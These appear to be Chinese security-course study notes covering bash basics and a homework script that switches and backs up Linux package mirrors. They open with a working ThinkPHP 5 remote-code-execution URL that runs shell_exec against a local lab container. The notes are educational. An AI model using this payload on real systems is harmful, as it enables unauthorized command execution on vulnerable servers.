day11_kls

课程内容

thinkphp/5-rce

开启容器后访问http://localhost:8099/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=ls%20-la

image.png

命令拼接

这里的命令拼接意味一次执行多个命令

;执行前面的命令后,接着执行后面的

&实际上其是让命令后台运行

&&,||实际上这两位是逻辑操作符,尽量避免使用

|实际上其是管道符,用户将上一个命令的输出作为下一个命令的输入

妙用echo

1
echo "`ls` `echo 123`"

shell脚本

环境变量

PATH可执行程序的路径

PWD当前所在的目录

SHELL当前使用的shell

'"的区别

'字符原始数据,"可以解析其中的变量值

变量定义以及使用

限定符local当前作用域,export作为环境变量

name=value定义

$name

参数

传参fun1 var1 var2

处理参数

1
2
3
fun(){
echo $1 $2
}

特殊的

$0为该脚本本身的名字

$#:表示传入参数的个数。

$@:表示所有传入的参数(以独立形式显示,每个参数都保留为单独的字符串)
$*:表示所有传入的参数(以一个字符串形式显示,所有参数被合并)

运算

算术:

expr(不推荐)

echo '1+1' | bc

(推荐)

$(( a + b ))

let x=a+b

字符串:

${#var1}字符串长度

${str:start:end}截取字符串

${str/old/new}替换字符

流程if,case

语法:

1
2
3
4
5
6
7
if [ condition ]; then
# commands
elif [ another_condition ]; then
# commands
else
# commands
fi

循环for,while

for语法:

1
2
3
4
5
6
7
8
9
for i in $@ ; do
if [[ condition ]]; then
continue
fi
if [[ condition ]]; then
break
fi
# cmmmands
done

while语法:

1
2
3
while [ condition ]; do
# commands
done

condition相关

| 特性 | [ ] | [[ ]] | 无括号 |
| —- | —- | —- |
| 本质 | test 命令 | Bash 内置功能 | 直接执行命令 |
| 支持正则表达式 | 不支持 | 支持 | 取决于命令 |
| 支持逻辑运算符 | 需要使用 -a-o | 使用 && 和 ` | |
| 变量双引号要求 | 必须加 | 可省略 | 通常不需要 |
| 安全性 | 较低(易受空值或特殊字符影响) | 高 | 高 |

散碎的知识点

poc

Proof of Concept,漏洞概念验证代码或脚本,用于证明某个漏洞的存在、触发条件以及可能的危害。

实例&&作业

自动更新apt和yum源的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
#!/bin/bash
# author: lzf
# feature:
# 1. suport ubuntu,debinen,centos,kali
# 2. backup and restore
# todo:
# 1. yum源更新,仅支持了centos7
# 1. apt源更新,遗漏了部分源
# 帮助
help(){
echo "$0 update | backup | restore [file_real_path] | list-backup"
}
# 初始化
init(){
check_depen
get_os_info
case $ID in
ubuntu)
;;
debian)
;;
centos)
if [ $VERSION_ID != '7' ]; then
echo "Error, Only support centos7."
exit 1
fi
;;
kali)
;;
arch)
;;
*)
echo "Error: $ID is not supported."
exit 1
;;
esac
}
# 获取系统源路径(用于获取备份文件)
get_os_source_path(){
file_list=()
case $ID in
arch)
file_list+=("/etc/pacman.d/mirrorlist")
;;
centos)
for f in /etc/yum.repos.d/*.repo; do
file_list+=("$f")
done
;;
*)
file_list+=("/etc/apt/sources.list")
for f in /etc/apt/sources.list.d/*; do
if [[ "$f" != *back ]]; then
file_list+=("$f")
fi
done
;;
esac
if [ -z $1 ]; then
echo ${file_list[@]}
elif [ $1 = "backup" ]; then
new_list=()
for f in ${file_list[@]};do
# 如果文件存在则放入新的数组
if [ -f $f ]; then
new_list+=("$f.back")
fi
done
echo ${new_list[@]}
fi
}
# 检测依赖软件包
check_depen(){
local depen=("ls" "declare")
for c in ${depen[@]}; do
has_cmd $c || {
echo "Error: $c is not installed."
exit 1
}
done
}
has_cmd () {
command -v $1 >/dev/null 2>&1
}
# 获取当前系统信息
get_os_info(){
if [ -f /etc/os-release ]; then
source /etc/os-release
else
echo "Error: /etc/os-release not found."
exit 1
fi
}
# 备份镜像源(单个文件)
backup_source(){
if [ -f $1 ]; then
cp $1 $1.back \
&& echo "$1 Backup success.Backup file is $1.back" \
|| echo "$1 Backup failed."
fi
}
# 恢复备份源(单个文件)
restore_source(){
backup_file_path=$1
if [ -f $backup_file_path ]; then
file_postfix=${backup_file_path:(${#backup_file_path}-4):${#backup_file_path}}
origin_file_path=${backup_file_path:0:(${#backup_file_path}-5)}
echo $file_postfix
echo $origin_file_path
if [ ${backup_file_path:(${#backup_file_path}-4):${#backup_file_path}} = 'back' ]; then
if [ -f $origin_file_path ]; then
rm $origin_file_path
fi
cp $backup_file_path $origin_file_path \
&& echo "$backup_file_path Restore success.Restore file is $origin_file_path" \
|| echo "$backup_file_path Restore failed."
fi
fi
}
# 列出所有备份文件
list_backup_source(){
files=`get_os_source_path back`
if [ -z $files ];then
return 0
else
for file in $files; do
echo backup_file: `realpath $file`
done
fi
}
# 备份源
backup(){
case $ID in
centos)
p=`get_os_source_path backup`
echo $p
for f in ls $p ; do
backup_source $f
done
;;
arch)
echo "正在编写代码,暂时不支持$ID"
exit 1
;;
*)
echo `get_os_source_path`
for f in `get_os_source_path`; do
backup_source $f
done
;;
esac
}
# 对源文件进行sed操作
sed_list(){
for f in `get_os_source_path`; do
echo "正在为${f}进行sed操作..."
sed -i "$1" $f
done
}
# apt更新
update_apt(){
apt update \
&& echo "Update success." \
|| echo "Update failed."
}
# 换源
change_source(){
case $ID in
ubuntu)
sed_list "s@//.*archive.ubuntu.com@//mirrors.aliyun.com@g"
update_apt
;;
debian)
sed_list "s@http://\(deb.debian.org\|archive.debian.org\)@https://mirrors.aliyun.com@g"
update_apt
;;
centos)
if [ $VERSION_ID -eq '7' ] ;then
# todo
curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
curl -o /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo
sed -i 's/http:\/\/mirrors.cloud.aliyuncs.com/url_tmp/g' /etc/yum.repos.d/CentOS-Base.repo && sed -i 's/http:\/\/mirrors.aliyun.com/http:\/\/mirrors.cloud.aliyuncs.com/g' /etc/yum.repos.d/CentOS-Base.repo && sed -i 's/url_tmp/http:\/\/mirrors.aliyun.com/g' /etc/yum.repos.d/CentOS-Base.repo
yum clean all && yum makecache \
&& echo "Update success." \
|| echo "Update failed."
fi
;;
kali)
sed_list "s@http://http.kali.org@https://mirrors.aliyun.com@g"
update_apt
;;
arch)
echo "正在编写代码,暂时不支持$ID"
exit 1
;;
esac
}
main(){
init
#ID="centos"
if [ $# -eq 0 ]; then
backup
change_source
else
case $1 in
"update")
backup
change_source
;;
"backup")
backup
;;
"restore")
if [ -f $2 ]; then
restore_source $2
else
echo "Error: $2 not found."
fi
;;
"list-backup")
list_backup_source
;;
*)
help
;;
esac
fi
}
main $@

思考&&todo

参考